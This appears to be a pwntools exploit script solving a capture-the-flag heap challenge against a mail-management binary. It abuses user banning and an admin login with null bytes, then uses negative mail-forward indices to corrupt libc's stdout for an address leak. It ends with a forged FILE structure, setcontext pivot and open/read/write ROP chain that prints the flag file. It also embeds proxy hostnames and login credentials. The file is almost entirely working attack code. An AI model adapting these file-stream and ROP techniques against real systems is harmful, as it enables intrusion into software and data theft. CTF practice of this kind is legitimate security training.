1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] filename = "pwn_patched" libcname = "./libc.so.6"
proxy_host = "2.dart.ccsssc.com" proxy_port = 26303 proxy_user = "cwug6jh3" proxy_pass = "pcx4je6i"
target_host = "192.0.100.2" target_port = 9999
context.proxy = (socks.SOCKS5, proxy_host, proxy_port, True, proxy_user, proxy_pass) host = "11262f96-1647-48e0-bff3-ff47147053fb.48.dart.ccsssc.com" port = 26303 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x30ae) b *$rebase(0x319c) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.12/amd64/libc6-dbg_2.35-0ubuntu3.12_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.12/amd64/glibc-source_2.35-0ubuntu3.12_all/usr/src/glibc/glibc-2.35 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(target_host, target_port) else: return gdb.debug(elf.path, gdbscript=gs)
def main_menu(): io.recvuntil(b'Your choice: ')
def ch(num): io.recvuntil(b'Your choice: ') io.sendline(str(num).encode())
def register(name, pwd): ch(2) io.recvuntil(b'Input your name: ') io.sendline(name) resp = io.recvuntil(b'Input your password: ') io.sendline(pwd) io.recvuntil(b'Registration successful')
def login_user(name, pwd): ch(1) io.recvuntil(b'Input your name: ') io.sendline(name) io.recvuntil(b'Input your password: ') io.sendline(pwd) io.recvuntil(b'Welcome back')
def user_write_draft(size, content): ch(1) io.recvuntil(b'How many bytes') io.sendline(str(size).encode()) io.recvuntil(b'Write your mail content') io.send(content) io.recvuntil([b'Draft saved', b'Failed'])
def user_send_mail(target_id): ch(3) io.recvuntil(b'input user ID 1-12') io.sendline(str(target_id).encode()) resp = io.recvuntil([b'Mail sent', b'banned', b'Returning to login', b'No draft', b'does not exist', b'already has unread', b'Invalid'], timeout=5) if b'already has unread' in resp: io.recvuntil(b'(y/n): ') io.sendline(b'y') resp2 = io.recvuntil([b'Mail sent', b'banned', b'Returning to login'], timeout=5) resp += resp2 return b'banned' in resp or b'Returning to login' in resp
def user_logout(): ch(4)
def ban_user(idx, send_target=2): name, pwd = users[idx] log.info(f'Banning user {idx} ({name})') login_user(name, pwd) for i in range(5): user_write_draft(4, b'AAAA') banned = user_send_mail(send_target) if banned: log.success(f'User {idx} banned after {i+1} sends!') return True user_logout() return False
def admin_login(name, pwd): ch(1) io.recvuntil(b'Input your name: ') io.sendline(name) io.recvuntil(b'Input your password: ') io.sendline(pwd) io.recvuntil(b'=== Admin Menu ===')
def admin_mail_to_user(idx, data, leng = 0x100): ch(3) io.recvuntil(b'Enter user ID to send mail to : (1-12)') io.sendline(str(idx).encode()) io.recvuntil(b'How many bytes do you want to write?') io.sendline(str(leng).encode()) io.recvuntil(b'Enter mail content') io.send(data) resp = io.recvuntil([b'Mail sent', b'already has unread'], timeout=5) if b'already has unread' in resp: io.recvuntil(b'(y/n): ') io.sendline(b'y') io.recvuntil(b'Mail sent')
def admin_forward_mail(s, target): ch(4) io.recvuntil(b'Enter source user ID (whose mail to forward): (1-12) ') io.sendline(str(s).encode()) resp = io.recvuntil([b'Enter destination user ID (1-12): ', b'already has unread']) if b'already has unread' in resp: io.recvuntil(b'(y/n): ') io.sendline(b'y') io.recvuntil(b'Enter destination user ID (1-12): ') io.sendline(str(target).encode()) io.recvuntil(b'Which mail would you like to forward?') ch(2)
io = start()
users = [(f'u{i}'.encode(), b'pass') for i in range(13)]
for i in range(7): ok = register(users[i][0], users[i][1]) log.info(f'register u{i}: {ok}')
log.success("registered 7 users")
ban_user(0, send_target=2) register(users[7][0], users[7][1]) log.info('Registered slot 7')
ban_user(1, send_target=3) register(users[8][0], users[8][1]) log.info('Registered slot 8')
ban_user(2, send_target=3) register(users[9][0], users[9][1]) log.info('Registered slot 9')
ban_user(3, send_target=4) register(users[10][0], users[10][1]) log.info('Registered slot 10')
ban_user(4, send_target=5) register(users[11][0], users[11][1]) log.info('Registered slot 11')
register(b'test', b'test')
admin_login(b'\x00', b'\x00'*0x10)
payload = p64(0xfbad1800) + p64(0)*3 + b'\x80\xb7' admin_mail_to_user(5, payload) admin_forward_mail(5, -7) io.recv(0x20) libc_base = u64(io.recv(8)) - libc.sym["_IO_2_1_stdout_"] log.success("libc_base --> "+hex(libc_base))
stdout = libc_base + libc.sym["_IO_2_1_stdout_"] fake_IO_addr = stdout call_addr = libc_base + libc.sym["_IO_2_1_stderr_"]
open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x2a3e5 ret = pop_rdi_ret + 1 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_ret = libc_base + 0x11f357
fake_IO = b'./flag' fake_IO = fake_IO.ljust(0x10 + 0x20, b'\x00') + p64(fake_IO_addr + 0x10) fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(fake_IO_addr + 0x120) fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x10) fake_IO = fake_IO.ljust(0x10 + 0xa0, b'\x00') + p64(call_addr) + p64(ret) fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) fake_IO = fake_IO.ljust(0x10 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40)
ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(pop_rdx_ret) + p64(0x100)*2 + p64(read_addr) +\ p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)
admin_mail_to_user(7, ropchain) admin_forward_mail(7, -3)
admin_mail_to_user(6, fake_IO) ch(4) io.recvuntil(b'Enter source user ID (whose mail to forward): (1-12) ') io.sendline(str(6).encode()) io.recvuntil(b'Enter destination user ID (1-12): ') io.sendline(str(-7).encode()) io.recvuntil(b'(y/n): ') io.sendline(b'y') io.recvuntil(b'Which mail would you like to forward?') ch(2)
io.interactive()
|